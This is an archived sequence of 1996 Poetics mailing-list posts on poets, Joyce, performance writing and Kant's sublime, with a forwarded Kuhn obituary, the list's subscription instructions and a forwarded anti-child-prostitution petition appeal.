JOHN BYRUM John Byrum's most recent books include Utter (with Arleen Hartman; Potes & Poets, 1995), Orange (Generator, 1995), Black Fire (Burning Press 1995), and Interalia (Leave Books). He has also appeared in numerous magazines & anthologies; The Art Of Practice (Dennis Barone & Peter Ganick eds., Potes & Poets Press) and Writing From The New Coast (O*blek magazine) among them. He was a featured artist in the show Visible Language at the Sandusky Cultural Arts Center eariler this year. He edited (with Crag Hill) the 1993 CORE: Symposium on Contemporary Visual Poetry, and has published numerous books under the Generator Press imprint, as well as Generator Magazine (issue #7, in 2 volumes, "whydoyoudowhatyoudo?", is the most recent).

This reading is FREE

For further information, please contact the William Busta Gallery at [redacted], or luigi-bob drake at [redacted] (or e-mail, [redacted]).

I hope anyone on the poetics list visiting or living near here will come, likewise those not on the list, and those nowhere near Cleveland, living or...

lbd
Burning Press/TapRoot Reviews

↑ Index

295. Herb Levy
Not exactly Re: Susan Howe and Samuel Beckett
Mon 17 Jun 1996

Dear Mark Wallace,

Our differences seem to arise when we consider how this work is received in the larger cultural community. I am able to imagine readers of poetry who are serious about what they read (& others with similarly limited interests in other forms of art), for whom the merits of experimental innovation are far from obvious. You seem to discount this possibility.

In any case, let me suggest a different tack to take with Tim Page, that may be the most effective in the long run. Call him at the Post, explain that you disagreed with some aspects of his Cage piece & ask him to coffee or a drink to

discuss it. I think there are better than even odds that he would take you up on it. Moreover, if you hung out for a while, you'd probably find that you had more interests in common & that he probably isn't an overall schmuck.

Looking back on our correspondence here (after a few days with my server down), I think it may have been better if I had begun with whatever the cyber-equivalent of such an approach might be.

Bests

Herb Levy
[redacted]

↑ Index

296. Carnography
Re: When the real poets come
Mon 17 Jun 1996

Jordan Davis typed:

> *Is James Joyce really a great writer?*

1) Jordan Davis, you carcinogenic node on the cords of Irish Lit. How dare you insinuate that your question is open to question? There is a kind of ineffable greatness lent to the work of anyone who is published widely and continuously for decades. This is like asking whether or not Syndney Sheldon is a great writer: damned straight he is.

I pray you'll stop wasting your time with such counterproductive, go-nowhere questions and develop a taste for the Impressionists. I say this not because I'm angry (I forgive you, darling) but because I am worried about your spiritual and economic future. From the looks of your comments, I'd say you were unhappy, confused, honey-blonde, 5'8" with a mole on your right shin, wearing a baseball cap with the motto, *Don't even think about it* written across the brim, and given to long, expensive tirades in that corner Seven-Eleven in Bend, Oregon, where your comments suggest you may or may not exist.

2) Joyce? Yeah, _Chamber Music_....the old blind guy could sure crank out the quatrains, huh? I mean, when when he was young and all.... Yeah, he's great, like all those dudes were: Joyce, Flann O'Brien, Dickenson, Keats, Thomas Jefferson, Synge, that guy Shakespeare, Thomas Edison, Rikki Lake, Paul McCartney, Stockhausen, Lionel Johnson, Jeremy Irons, Bunny Shane, that blonde guy in Soul Coughing, Robert Creeley, Alicia Silverstone...

3) Thanks for your query, _[Jordan Davis]_. Our researchers are still working on the possible toxicity of pollutants in the novels of Upton Sinclair, but we'll get back to you as soon as we possibly can. Your question is very important to us

[Jordan Davis]. Please be patient and stay on the line. (Sound of baroque music and line-static merging)

http://www.interport.net/~scrypt

↑ Index

297. Charles Alexander
(no subject)
Mon 17 Jun 1996

As a friend and publisher of bp's work, I know he's not entirely unkown in the States. He's Chax's best-selling author thus far, although it's true that many of those sales have been in Canada.

Just a note to know that First Screening is only available for the Macintosh computer.

charles alexander

> *dear poetics:*
>
> *Robert Kendall recently posted this to another list--*
>
> *Readers of this list may be interested to know of the recent publication of the late bp Nichol's collection of kinetic visual poems, "First Screening." These aren't hypertext, but some of them are decidedly nonlinear. The poems where written during the early1980s in BASIC on an Apple II and translated into Hypercard by the editors.*
>
> *Nichol was well-known in his native Canada, though most Americans don't know his work. These poems are witty and entertaining and it's astonishing that they were written so long ago. I wonder what else will creep out of the woodwork of the early days of personal computing.*
>
> *The publisher is:*
>
> *Red Deer College Press*
> *56 Ave. and 32nd Street*
> *Box 5005*
> *Red Deer, Alberta*
> *Canada T4N 5H5*

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298. **Carnography**
Tintanicized
Mon 17 Jun 1996

Tintanic (*adj8) (Amer.: *Titanic*, *Teutonic*, *Rin-Tin-Tin*) 1. Any failed Twentieth Century technological eidolon that is meant to be futuristic, superior and friendly. 2. Any technologically-based public demonstration of power that fails. Tintanicize (*vt*) 3. To be made ade part of the iconography of the Second World War, or of the iconography of consumer/war technology in the Nineteen-Forties.

http://www.interport.net/~scrypt

↑ Index

299. **William Northcutt**
Joyce a poet
Tue 18 Jun 1996

Dear Chris:

Joyce is not early Beatles.

He is acid-blot Beatles.

And he rules.

William Northcutt

↑ Index

300. **Jordan Davis**
the vogue for Turgenev
Tue 18 Jun 1996

Can anybody explain (contradict? support?) the recent vogue for Turgenev? W. Alexander cites T. as an influence, I'm told, and R. Creeley has also famously taken to T.
Curious in Hood River,
Jordan

↑ Index

301. **Annie Finch**
Re: reviews -- a query about ethics, contexts, and consequences
Tue 18 Jun 1996

Dear Eliza,

Re the question of how to review work you don't think very good, I offer two points to steer between:

1. It is necessary to be absolutely honest; probably it's even better for the book's attention quotient if it gets an intelligently censurious review as opposed to a generically approving one, and better for the small press as well. If you can find a few things you like (perhaps only to say you wish the writer had done more of them),t he press can always pull those out to quote if they need blurbs. No point writing it if you can't be honest.

2. Undue negativity, out of proportion to the book's weight and impact (for instance, bitter condemnation directed towards a young and unestablished writer) is irresponsible and may very likely come back to haunt you.

If this seems a paradoxical couple of tenets, I'd suggest moving attention quickly away from the book in question and towards the larger evils it embodies for you. In this case, it seems that the book exemplifies some fo the worst tics of the creative writing establishment in your view. Why not focus on those, thus deflecting attention from the poor writer, who is perhaps as much a victim as a perpetrator?

I just received a copy of the new American Book Review wherein I quite seriously criticized a book on prosody, but largely by drawing attention to the way the book's shortcomings reflect widespread misunderstandings. So far, I haven't regretted it . . . . .

Good luck.

Annie Finch

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302. Jonathan A Levin
Re: the vogue for Turgenev
Tue 18 Jun 1996

Jordan,

Nothing to say about the Turgenev wave, such as it is, but I do recommend Henry James's marvellous spate of essays on him, especially the last, published in 1896 in the Library of the World's Best Literature (reprinted all over the place). I think James liked Turgenev more than any other writer, pound for pound. He also enjoyed his company a good deal.

Best--

Jonathan

↑ Index

303. **cris cheek**
Re: Performance Writing
Tue 18 Jun 1996

Hi Ward and all,

this question feels like it's got a large skid under it before i even start delving.

My own sense of Performance Writing, shared broadly with those few practitioners here with whom i have almost regular contact, is of very much an emergent interdisciplinarity. Much like the gradual highlighting of Performance Studies in Cultural Studies.

One of the difficult and delightful (simultaneously) aspects of working in such a field, both as teacher and student, lies in the magpie activity of grafting on influences and role models.

My sense of context and history in the UK, at present, is of being grounded in a discourse of mainland European - north American - and Carribean approaches, but far from exclusively so. There's a 'pick 'n' mix' possible for the would-be. That includes the sound-text-sound, poesie sonore practitioners, yes the Fluxus (and let's not forget Fluxshoe) activity, and that which emerged, in the US (via the '52 Black Mountain nonmatrixed event) into Happenings and Judson Church, while in the UK becoming the Destruction in Art Symposium, John Bull Puncture Repair Kit etc and Performance Art. Then there are the lettriste / situationist strands and the Guy Debord - Asger Jorn 'derives' leeching into Doc(k)s (and the work out of de Appel in Amsterdam in the 1970s, I'm thinking of Ulysses Carrion and Michael Gibbs and Maurricio Nannucci, who amongst others brought politicised conceptual art approaches to language) where Julien Blaine and Ben Possett and the Italian nexus around Scassi mingled. Then there are US performance or Live Art models, although you're right Ward, they seem less interesting (from the point of writing - perhaps being too embroiled in sometimes simplistic narration of nation and identity, although with reason) than some of the European and Carribean influences. Of course there's a host of rapping, as well as mapping, figures to take on board.

Having said all of which, the obvious practitioners here at present (including Brian Catling, Caroline Bergvall, Aaron Williamson, Gary Stevens, Tim Etchells, Jools Gilson-Ellis, Orphan Drift, Stewart Home, Donna Rutherford, Sticksman, Keith Jafrate, Jean Breeze, Linton Kwesi Johnson, Bob Cobbing, Alaric Sumner) are mostly coming from a background in poetry. There are some influences of LSD phase Wooster Group (now being worked here by Goat Island from Chicago, who seem to be appreciated here more than in the US). There is some revival of the Arte Povera aesthetic going on now as i write (or we speak). But many of those working in Performance WRiting have at least practical

understandings of other art forms. Music and Visual Performance would be the most obvious shared art forms (highly appropriate for language, don't you feel?).

Let's name names of those whose work is in the pot: - Sophie Calle, Jackson MacLow, Annette Messager, Ann Hamilton, Gary Hill, John Cage, Coco Fusco, Michael Smith, Marcel Broodthers, Steve Benson, Alison Knowles, Bernard Heidsieck, Yves Daoust, Carla Harryman, David Antin, bp nicol, Steve McCaffery, Jean 'binta' Breeze, The Fabulous Troubadours, Henri Chopin, Ellen Zweig, Eric Belgum, Spalding Gray, Gil Scott-Heron, Fiona Templeton, Lee 'Scratch' Perry, Karen Finlay, Kathy Acker, William Burroughs, Monique Wittig, Samuel Beckett, Laurie Anderson, Patty Smith, Bengt Emil-Johnson, Larry Wendt, Pierre Schaeffer, Robert Ashley, Robert Smithson, Jenny Holzer, Hazel Smith, Bob Marley, Shelley Hirsch

and many more . . . these are simply some pointers. A performance writing practice can work a wonderfully broad pallette at present.

Sonic traditions and anti-traditions - visual traditions and anti-traditions (i still like something of the parallel tradition suggested in a lengthy exchange between Ron Silliman and Alfred Corn on CAP-L last year) - performance traditions and anti-traditions - uses and abuses of technological potentials.

ok - now we can go to the next stage.

love and love
cris

↑ Index

304. Gwyn McVay
Re: Tintanicized
Tue 18 Jun 1996

Tintinicized: to be made into a Belgian boy reporter with plus-fours and socks and a cowlick that never fall down.

↑ Index

305. Ward Tietz
of the STRENUOUS TYPE
Wed 19 Jun 1996

I came across this in Kant and thought it might apply to some of the more recent polemics.

"Every affectation of the STRENUOUS TYPE (such that is, as excites the consciousness of our power of overcoming every resistance ('animus strenuus')) is

'aesthetically sublime,' e. g. anger, even desperation (the 'rage of forlorn hope,' but not 'faint-hearted' despair)" (Kant in part I of the "Critique of Aesthetic Judgement").

This seems to account for the appeal of a lot of "difficult" work, perhaps preferably with the notion of "difficult" applying to the entire social context of a work and not just its immediately apprehensible aesthetic.

I recognize that "a politics of form" is supposed to be able to absorb a transcendent function into its own formulation of action and thought, but what if this absorption has over-ramified, stalled, or is otherwise indigestible to a larger society? Can we use the sublime to reconfigure a more inclusive explanation?

Ward Tietz

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306. **Pierre Joris**

DROMO: Thomas Kuhn Dies (fwd)

Wed 19 Jun 1996

Thot this wld inetrest the list -- Pierre

---------- Forwarded message ----------
Date: Wed, 19 Jun 1996 10:15:23 GMT
From: John Young <[redacted]>
To: [redacted]
Cc: [redacted],
[redacted], [redacted]
Subject: DROMO: Thomas Kuhn Dies

The New York Times, June 19, 1996, p. B7.

Thomas Kuhn, 73; Devised Science Paradigm [Obituary]

By Lawrence Van Gelder

Thomas S. Kuhn, whose theory of sclentific revolution became a profoundly influential landmark of 20th-century intellectual history, died on Monday at his home in Cambridge, Mass. He was 73.

Robert Dilorio, associate director of the news office at the Massachusetts Institute of Technology, said the scholar, who held the title of professor emeritus at M.I.T., had been ill with cancer in recent years.

"The Structure of Scientific RevoIutions," was conceived while Protessor Kuhn was a graduate student in theoretical

physics and published as a monograph in the International Encyclopedia of Unified Science before the University of Chicago Press issued it as a 180-page book in 1962. The work punctured the widely held notion that scientific change was a strictly rational process.

Professor's Kuhn's treatise influenced not only scientists but also economists, historians, sociologists and philosophers, touching off considerable debate. It has sold about one million copies in 16 languages and remains required reading in many basic courses in the history and philosophy of science.

Dr. Kuhn, a professor of philosophy and history of science at M.I.T. from 1979 to 1983 and the Laurence S. Rockefeller Professor of Philosophy there from 1983 until 1991, was the author or co-author of five books and scores of articles on the philosophy and history of science. But Dr. Kuhn remained best known for "The Structure of Scientific Revolutions."

His thesis was that science was not a steady, cumulative acquisition of knowledge. Instead, he wrote, it is "a series of peaceful interludes punctuated by intellectually violent revolutions." And in those revolutions, he wrote, "one conceptual world view is replaced by another."

Thus, Einstein's theory of relativity could challenge Newton's concepts of physics. Lavoisier's discovery of oxygen could sweep away earlier ideas about phlogiston, the imaginary element believed to cause combustion. Galileo's supposed experiments with wood and lead balls dropped from the Leaning Tower of Pisa could banish the Aristotelian theory that bodies fell at a speed proportional to their weight. And Darwin's theory of natural selection could overthrow theories of a world governed by design.

Professor Kuhn argued in the book that the typical scientist was not an objective, free thinker and skeptic. Rather, he was a somewhat conservative individual who accepted what he was taught and appiied his knowledge to solving the problems that came before him.

In so doing, Professor Kuhn maintained, these scientists accepted a paradigm, an archetypal solution to a problem, like Ptolemy's theory that the Sun revolves around the Earth. Generally conservative, scientists would tend to

solve problems in ways that extended the scope of the paradigm.

In such periods, he maintained, scientists tend to resist research that might signal the development of a new paradigm, like the work of the astronomer Aristarchus, who theorized in the third century B.C. that the planets revolve around the Sun. But, Professor Kuhn said, situations arose that the paradigm could not account for or that contradicted it.

And then, he said, a revolutionary would appear, a Lavoisier or an Einstein, often a young scientist not indoctrinated in the accepted theories, and sweep the old paradigm away.

These revolutions, he said, came only after long periods of tradition-bound normal science. "Frameworks must be lived with and explored before they can be broken," Professor Kuhn said.

The new paradigm cannot build on the one that precedes it, he maintained. It can only supplant it. The two, he said, were "incommensurable."

Some critics said Professor Kuhn was arguing that scieace was little more than mob rule. He replied, "Look, I think that's nonsense, and I'm prepared to argue that."

The word paradigm appeared so frequently in Professor's Kuhn's "Structures" and with so many possible meanings prompting debate that he was credited with popularizing the word and inspiring a 1974 cartoon in The New Yorker. In. it, a woman tells a man: "Dynamite, Mr. Gerston! You're the first person I ever heard use 'paradigm' in real life."

Professor Kuhn traced the origin of his thesis to a moment in 1947 when he was working toward a doctorate in physics at Harvard. James B. Conant, the chemist who was the president of the university, had asked him to teach a class in science for undergraduates majoring in the humanities. The focus was to be historical case studies.

Until then, Professor Kuhn said later, "I'd never read an old document in science." As he looked through Aristotle's "Physics" and realized how astonishingly unlike Newton's were its concepts of motion and matter, he concluded that

Aristotle's physics were not "bad Newton" but simply different.

Professor Kuhn received a doctorate in physics, but not long afterward he switched to the history of science exploring the mechanisms that lead to scientific change.

"I sweated blood and blood and blood, and finally I had a breakthrough," he said.

Thomas Samuel Kuhn, the son of Samuel L. Kuhn, an industrial engineer, and the former Annette Stroock, was born on July 18, 1922, in Cincinnati.

In 1943, he graduated summa cum laude from Harvard with a bachelor's degree in physics.

During World War II, he served as a civilian employee at Harvard and in Europe with the Office of Scientific Research and Development.

He received master's and doctoral degrees in physics from Harvard in 1946 and 1949. From 1948 to 1956, he held various posts at Harvard, rising to an assistant professorship in general education and the history of science.

He then joined the faculty of the University of California at Berkeley, where he was named a professor of history of science in 1961. In 1964, he joined the faculty at Princeton, where he was the M. Taylor Pyne Professor of Philosophy and History of Science until 1979, when he joined the faculty of M.I.T.

Professor Kuhn was a Guggenheim Fellow in 1954-55, the winner of the George Sarton Medal in the History of Science in 1982, and the holder of honorary degrees from many institutions, among them the University of Notre Dame, Columbia University, the University of Chicago the University of Padua and the University of Athens.

He is survived by his wife, Jehane and three children, Sarah Kuhn of Framingham, Mass., Elizabeth Kuhn of Los Angeles and Nathaniel Kuhn of Arlington, Mass.

[Photo] Thomas S. Kuhn

[End]

↑ Index

307. **Henry Gould**
Re: Performance Writing
Wed 19 Jun 1996

Re "performance poyets" you left out Lev Rubenstein of Russia, one of the earliest, best, & most original. - Henry Gould

↑ Index

308. **Henry Gould**
Re: of the STRENUOUS TYPE
Wed 19 Jun 1996

On Wed, 19 Jun 1996 01:24:13 EDT Ward Tietz said:
>
>This seems to account for the appeal of a lot of "difficult" work, perhaps
>preferably with the notion of "difficult" applying to the entire social context
>of a work and not just its immediately apprehensible aesthetic.
>
>I recognize that "a politics of form" is supposed to be able to absorb a
>transcendent function into its own formulation of action and thought, but
what
>if this absorption has over-ramified, stalled, or is otherwise indigestible to
>a
>larger society? Can we use the sublime to reconfigure a more inclusive
>explanation?

Maybe it's a way of getting a different angle on politically-loaded aesthetics. Not for the purpose of de-politicizing but for seeing the art/world situation more clearly. But if you're going to "use the sublime" it would seemingly have to be done within a larger frame of achievable form in art. Is the sublime in "difficult art" a kind of dead-end self-destruct situation? Or can it be allied with an implicit "coherence", a humane life-order or life-process? I think, believe it or not, that there is something valid in the Coleridgean idea of organic form - that art & biology share asymmetrical symmetries understood in some way since the Egyptians at least. The sublime in this case would correspond to the human awareness of death and the change in ethics and metaphysics which this entails - & what distinguishes moral human consciousness from instinctual drives & the vegetation per se. If art is an asymmetrical life-process - not crystalline, not purely symmetrical - aiming for coherences - well, maybe this brings back a different concept of imagination than has reigned since modernism. Style is a

matter of emphasis - Dada throws the huge art cabbage out the window; Klee plants it in the back of his head. - Henry Gould

↑ Index

309. Robert J Wilson
Yes to the Sublime, No to the Beauteous
Wed 19 Jun 1996

Dear Ward Tietz, Say yes to the aesthetics and politics of the/a (deformed) sublime, and "no to the beautiful" (beauteous) sonnets of, say, Richard Lord Wilbur. I could not agree more, nor less, with your "strenuous type" politics and aesthetics of the deformed, de-bounded and de-legislated play of form, from multi-centers and trajectories, not just (Emanuel) Kant or (postmodernism explained to infants) Lyotard as ground of such languaging activity. Regards from "that loveliest fleet of islands [Hawaii to Mark Twain as "tourist-author"] that lies [lies?] achored in any ocean [as in, say, Pearl Harbor as a work of the American sublime as nuclearized Pacific?], Rob Wilson

On Tue, 18 Jun 1996, Ward Tietz wrote:

> *I came across this in Kant and thought it might apply to some of the more recent polemics.*
>
> *"Every affectation of the STRENUOUS TYPE (such that is, as excites the consciousness of our power of overcoming every resistance ('animus strenuus')) is 'aesthetically sublime,' e. g. anger, even desperation (the 'rage of forlorn hope,' but not 'faint-hearted' despair)" (Kant in part I of the "Critique of Aesthetic Judgement").*
>
> *This seems to account for the appeal of a lot of "difficult" work, perhaps preferably with the notion of "difficult" applying to the entire social context of a work and not just its immediately apprehensible aesthetic.*
>
> *I recognize that "a politics of form" is supposed to be able to absorb a transcendent function into its own formulation of action and thought, but what if this absorption has over-ramified, stalled, or is otherwise indigestible to a larger society? Can we use the sublime to reconfigure a more inclusive explanation?*
>
> *Ward Tietz*

↑ Index

310. Daniel Bouchard
ORONO
Wed 19 Jun 1996

I waved goodbye this morning to Chris Stroffolino and George Hartley as they began negotiating Boston's commuter traffic on their way to the conference in Maine. I waited for the trolley to work, feeling really silly that my job makes an academic conference look like an adventure.

What's the Orono conference all about anyway? I guess that most people attending won't read this post for several days but I do hope there is some significant reportage and details about the goings-on and readings that the rest of us won't see or hear.

Why has the discussion slowed down so much recently? What are people doing-- WORKING?!?

[redacted]

↑ Index

311. David Baratier
fortune cookies
Wed 19 Jun 1996

There was a post a while back where somebody wanted some FC Sayings. I have found alternate possibilites for the same type of messages. A friend returned from Italy and brought back Perugina chocolates, which come with sayings in four different languages, centered around ideas of love, sensuality and the body. The packaging for illegal drugs, such as crack vials and heroin bags, quite often has prophetic sayings printed on them: "happy days are here again," or "FPW unite." Caps of Coca-cola often have: "sorry, try again" I offer these possibilites to add to the work cause I would hate to see someone dredging up a tired "fortune cookie" poem series after following O'Hara, Stroffolino, Lee Ann Brown, etcetera.

David Baratier

↑ Index

312. cris cheek
Re: performance writers
Wed 19 Jun 1996

Hi Henry,

you're right about Lev Rubenstein, of course. Prigov's pretty good as a live act also. But the names weren't intended to be inclusive (think i flagged that up). Just a smattering to get discussion going further.

The range of practice available for differing assemblages of influence is what's striking.

love and love
cris

↑ Index

313. Gwyn McVay
help! must have Nomura
Wed 19 Jun 1996

Does anyone know whether "the 'moon' score" by Hitoshi Nomura is available on CD, or if, for that matter, any of his other music is available?

Gwyn McVay
[redacted]

↑ Index

314. Poetics List
How to temp. stop "Poetics" et al
Wed 19 Jun 1996

---

at the risk of repeating this message for those who have it ...

Rev. 5-16-95

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

---

http://writing.upenn.edu/epc

_____Contents_____

1. About the Poetics List
2. Subscriptions
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5. When you'll be away
6. The Electronic Poetry Center (EPC)
7. Poetics Archives at EPC
8. Publishers & Editors Read This!

[This document was prepared by Charles Bernstein ([redacted]. edu) and Loss Pequen~o Glazier ([redacted]).]

---

1. About the Poetics List

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list small and the volume manageable. Word-of-mouth (and its electronic equivalents) seems to be working fine.

The "list owner" of Poetics is Charles Bernstein: contact me for further information. As of May, Joel Kuszai is working with me to administer the list. For subscription information contact us at [redacted]

---

2. Subscriptions

line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your name to unsub)

We will be sent a notice of all subscription activity.

*

If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to send messages to mail. To avoid this, unsub from the old address and resub from the new address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at sharewar sites): from the Tools menu select "Options" and then select set-up for "Sending Mail": you can substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

---

3. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to blank. In the body of your e-mail message type:

review poetics

You will be sent within a reasonable amount of time (by return e-mail) a rather long list containing the names and e-mail addresses of Poetics subscribers. This list is alphabetized by server not name.

---

4. Digest Option

The Poetics List can send a large number of individual messages to your account to each day! If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option. Send this one-line message (no subject line) to

[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply to this message!!

You can switch back to individual messages by sending this messagage:

set poetics mail

---

5. When you'll be away

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail. You can temporarily turn off your Poetics subscription by sending a message:

You can temporarily turn off your mail by sending a message:

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See 7 below.)

---

6. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to the burgeoning number of electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequen~o Glazier.

---

7. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

Or set your browser to go directly to:
http://writing.upenn.edu/epc/poetics/archive

---

8. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If your

word processor ill save files in Rich Text Format (.rtf) this is also highly desirable

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short anouncements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

↑ Index

315. George Bowering
Re: nonset form
Wed 19 Jun 1996

Interesting point you made about the predictable form seeming to you a remnant of performance, etc. Actually, though I used to be a real open form guy, and of course prefer Olson to Lowell, I am more into predictable forms now, but not traditional ones. I always set up, a la Oulipo, I guess, a frame and try to work out of it. More so in fiction thatn in poetry, or really in other ways. But for instance, one of my better poems took a Keats poem and made a 14-section longish poem of it, eaCh line turned into a section made of one sentence but three stanzas. I love it. Now I am shrinking "Adonais." for unstance.

Haver also done silly things with acrostics, etc.

.....
"Lifting belly is such an incident in one's life."
--G.S.

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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316. Gabrielle Welford
bp Nichol's electronic poems (fwd)
Wed 19 Jun 1996

---------- Forwarded message ----------
From: Robert Kendall <[redacted]>
To: ht_lit <[redacted]>

Readers of this list may be interested to know of the recent publication of the late bp Nichol's collection of kinetic visual poems, "First Screening." These aren't hypertext, but some of them are decidedly nonlinear. The poems where written during the early 1980s in BASIC on an Apple II and translated into Hypercard by the editors.

Nichol was well-known in his native Canada, though most Americans don't know his work. These poems are witty and entertaining and it's astonishing that they were written so long ago. I wonder what else will creep out of the woodwork of the early days of personal computing.

The publisher is:

Red Deer College Press
56 Ave. and 32nd Street
Box 5005
Red Deer, Alberta
Canada T4N 5H5

--Robert Kendall
http://ourworld.compuserve.com/homepages/rkendall

↑ Index

317. George Bowering
Re: wild wild dead horse hairs
Wed 19 Jun 1996

> *The*
> *Stones sounded raw, and looked nice and ugly, and beat, while the Beatles*
> *were so clean and tidy, ready*
> *to meet showbiz of the time half way, it seemed. The STones maybe*
> *gave an impression of being more dangerous (rightly or wrongly)*

In those days I always thought the Stones sounded like white English guys trying to play music that came from Black USA, but not being able to stay off the

DOWNbeat, like a kind of electric marching band. They have got a little better at it in their dotage.

.....
"Lifting belly is such an incident in one's life."
--G.S.

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

318. George Bowering
Re: When the real poets come
Wed 19 Jun 1996

> *Is James Joyce really a great writer?*

That subject is thoroughly discussed and answered in Flann O'Brien's _The Dalkey Archive_.

.....
"Lifting belly is such an incident in one's life."
--G.S.

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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319. Louis Cabri
Re: pcoet and tlooth
Thu 20 Jun 1996

"Owing to inclement weather the social revolution occured in poetry."

(adapted from Tucholsky)

↑ Index

320. Gabrielle Welford

Fwd: Re: Child Prostitution (fwd)

Thu 20 Jun 1996

This note is a telling reminder of how we continue to exploit the children. The recent case of the Australian diplomats in Thailand and the German Nationals who were trading in Thai children was a horrible situation. But we Asians do exploit our own too, in an equal grotesque manner.

Kim

>
> Hi everybody,
>
> This is a general message going out to all the Indians I know who are on
> the Net. As you can see, the list is pretty short so PLEASE PASS IT ON to
> other people, especially, but not necessarily limited to, other Indians.
> Now on with the message...
>
> There is a petition on the Net right now to stop child prostitution in
> India (Goa specifically). I don't know how many of you are aware of this
> problem, but I have done some reading on the subject and I can tell you
> that Child Prostitution is a huge problem in Thailand and Vietnam etc.
> and it is growing at an alarming rate in India as well. I could tell you
> many stories about it but I am trying to keep this message short so I'll
> leave out the details (If you really want to know more just e-mail me
> personally). Lets just say the situation is so bad that 6-year olds are
> being sold into prostitution for the equivalent of $2.50!!!!!!!!!!!!
> Kinda puts all our problems in perspective, doesn't it?? I think it is
> our duty to do what little we can to stop this inhumane brutality and
> suffering inflicted on children. I know you all are super-busy and stuff
> but what I am asking you to do will take less than 5 mins! (Actually it
> takes less than 1 min. speaking from personal experience!) I think you
> all can spare that much for a worthy cause...just watch 5 mins less of
> TV, eat lunch a little bit quicker, or heck, just walk a little faster
> from one class to the next! All right...enough preaching...here is what you
> can do to help:
>
> 1. Use Netscape or Mosaic to access www.goa.com
>
> 2. When there, click on "What is new" line (it will be flashing).
>
> 3. Read the screen. Sign the petition.
>

> 4. Sleep a little better knowing that you have done at least one
> good thing today!! :)
>
>
>
> If you don't have access to Netscape/Mosaic, or just don't want to deal
> with figuring it out, PLEASE let me know. I'll find a way to send you the
> petition.
>
> And please PASS THIS MSG on, at least to other Indians (to others too if
> you can. Many non-Indians have signed the petition which of course how it
> should be since injustice is injusticce, and no matter who is sufering,
> we should all be concerned). Thank you for your time. Hopefully this
> wasn't any inconvenience. Please e-mail me directly if you have any
> questions/comments/info.
>
>
>
> Bobby Singh
>

_
>
>
>
>
>

↑ Index

321. **Jordan Davis**

oak oak

Thu 20 Jun 1996

Owing to inclement weather, I found (in Yahoo) the following urls:

http://www.csam.montclair.edu/~ceravolo/

and

http://www.intac.com/~ceravolo/

These are web sites by respectively Joe Ceravolo's son Jim and his wife Rosemary. Ceravolo, who died in 1988, was a great poet. Texts from all of Ceravolo's books, including the scarce _Wild Flowers Out of Gas_ and _Fits of Dawn_, are available at the Montclair site.

Okay!
Jordan

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322. **Fred E. Maus**
Re: wild wild dead horse hairs
Thu 20 Jun 1996

> *In those days I always thought the Stones sounded like white English guys trying to play music that came from Black USA, but not being able to stay off the DOWNbeat, like a kind of electric marching band. They have got a little better at it in their dotage.*

I think this is really astute.

↑ Index

323. **Burt Kimmelman**
Re: How to temp. stop "Poetics" et al
Thu 20 Jun 1996

You do mean etc. and not et al>, don't you?

↑ Index

324. **Jordan Davis**
torque torque
Thu 20 Jun 1996

While everyone's set to nomail, there's new mags aplenty--

